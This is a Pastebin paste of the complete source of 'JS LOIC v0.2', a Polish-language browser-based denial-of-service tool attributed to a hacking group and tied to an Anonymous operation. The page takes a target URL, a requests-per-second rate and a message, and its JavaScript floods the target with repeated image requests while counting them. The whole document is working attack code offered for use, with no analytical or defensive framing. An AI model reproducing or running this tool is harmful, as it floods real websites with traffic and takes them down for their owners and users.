Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!-- Javascript LOIC - PL version by c0mb0br34k3r. Gr33tz: HackinQ . pl team - MarioVs, linc0ln.dll, Prick, j4ck & other people :> -->
- <!DOCTYPE HTML>
- <html>
- <head>
- <title>JS LOIC v0.2</title>
- <meta http-equiv="content-type" content="text/html; charset=windows-1250" />
- <style type="text/css" >
- body {
- width:100%;
- margin:auto;
- background-color:#B7CC1E;
- color:#FFFFFF;
- font-family:Verdana, Geneva, sans-serif;
- }
- #p1{
- width:240px;
- height:100px;
- position:absolute;
- left:500px;
- }
- #img {
- width:490px;
- height:331px;
- position:absolute;
- }
- #header {
- width:900px;
- margin:auto;
- }
- #wrapper {
- position:absolute;
- width:100%;
- height:100%;
- background-color: #1E4964;
- margin:auto;
- }
- #p2 {
- width:240px;
- height:100px;
- position:absolute;
- left:780px;
- }
- #fireButton {
- background-image:url(http://x9a3k.com/images/btnl.png);
- }
- </style>
- </head>
- <body>
- <div id="header">
- <h1><abbr title="JavaScript">JS</abbr> <abbr title="Low Orbit Ion Cannon">LOIC</abbr> v 0.2</h1>
- <h2 style="font-size:15px;">UZUPEŁNIJ DANE, NACIŚNIJ PRZYCISK I CZEKAJ</h2>
- </div>
- <div id="wrapper">
- <div id="table" >
- <div id="img">
- <img alt="LOIC"
- src="http://x9a3k.com/images/loop.png" />
- </div>
- <div id="p1">
- <fieldset style="width:100%; height:100%; border:none;">
- <label>Krok 1. Wybierz cel ataku:</label><br><br>
- <label>Adres: <br />
- <input id="targetURL" style="width:100%;" value="" /></label>
- <!--<small>For current target see: <a href="http://irc.lc/anonops/opmegaupload" style="color:#FFF;">#OpMegaupload</a></small>-->
- </fieldset>
- </div>
- <div id="p2" >
- <fieldset style="width:100%; height:100%; border:none;">
- <label>Krok 3. Gotów?</label>
- <button id="fireButton" style="border:none; color:#1E4964; width:240px; height:70px;">JEDZIEMY Z TYM KOKSEM!</button>
- </fieldset>
- </div>
- <div id="p3" style="width:240px; height:160px; position:absolute; left:500px; top:150px;">
- <fieldset style="width:100%; height:100%; border:none;">
- <label>Krok 2.</label><br><br>
- Jeśli chcesz możesz wybrać szybkość i wiadomość.<br><br>
- <label>Żądań na sekundę: <input id="rps" style="width:40px;" value="100" /></label><br />
- <label>Dołącz wiadomość: <br /><input id="message" style="width:100%;" value="We Are Anonymous!" /></label>
- </fieldset>
- </div>
- <div id="p4" style="width:240px; height:160px; position:absolute; left:780px; top:150px;">
- <fieldset style="width:100%; height:100%; border:none;">
- <label>Status ataku:</label>
- <dl>
- <dt>Żądań:</dt>
- <dd id="requestedCtr">0</dd>
- <dt style="opacity: 0.5">Wykonanych pomyślnie:</dt>
- <dd style="opacity: 0.5" id="succeededCtr">0</dd>
- <dt style="opacity: 0.5">Nie wykonanych:</dt>
- <dd style="opacity: 0.5" id="failedCtr">0</dd>
- </dl>
- </fieldset>
- </div>
- <div id="footer" style="width:900px; height:160px; font-size:14px; position:absolute; top:350px;">
- </div>
- </div>
- </div>
- <script>
- (function () {
- var fireInterval;
- var isFiring = false;
- var requestedCtrNode = document.getElementById("requestedCtr"),
- succeededCtrNode = document.getElementById("succeededCtr"),
- failedCtrNode = document.getElementById("failedCtr"),
- targetURLNode = document.getElementById("targetURL"),
- fireButton = document.getElementById("fireButton"),
- messageNode = document.getElementById("message"),
- rpsNode = document.getElementById("rps"),
- timeoutNode = document.getElementById("timeout");
- var targetURL = targetURLNode.value;
- targetURLNode.onchange = function () {
- targetURL = this.value;
- };
- var requestsHT = {}; // requests hash table, may come in handy later
- var requestedCtr = 0,
- succeededCtr = 0,
- failedCtr = 0;
- var makeHttpRequest = function () {
- if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
- return;
- };
- var rID =Number(new Date());
- var img = new Image();
- img.onerror = function () { onFail(rID); };
- img.onabort = function () { onFail(rID); };
- img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
- img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
- requestsHT[rID] = img;
- onRequest(rID);
- };
- var onRequest = function (rID) {
- requestedCtr++;
- requestedCtrNode.innerHTML = requestedCtr;
- };
- var onComplete = function (rID) {
- delete requestsHT[rID];
- };
- var onFail = function (rID) {
- // failedCtr++;
- //failedCtrNode.innerHTML = failedCtr;
- succeededCtr++; //Seems like the url will always fail it it isn't an image
- succeededCtrNode.innerHTML = succeededCtr;
- delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
- };
- var onSuccess = function (rID) {
- succeededCtr++;
- succeededCtrNode.innerHTML = succeededCtr;
- delete requestsHT[rID];
- };
- fireButton.onclick = function () {
- if (isFiring) {
- clearInterval(fireInterval);
- isFiring = false;
- this.innerHTML = "JEDZIEMY Z TYM KOKSEM!";
- } else {
- isFiring = true;
- this.innerHTML = "Zatrzymaj atak";
- fireInterval = setInterval(makeHttpRequest, (2500 / parseInt(rpsNode.value) | 0));
- }
- };
- })();
- </script>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement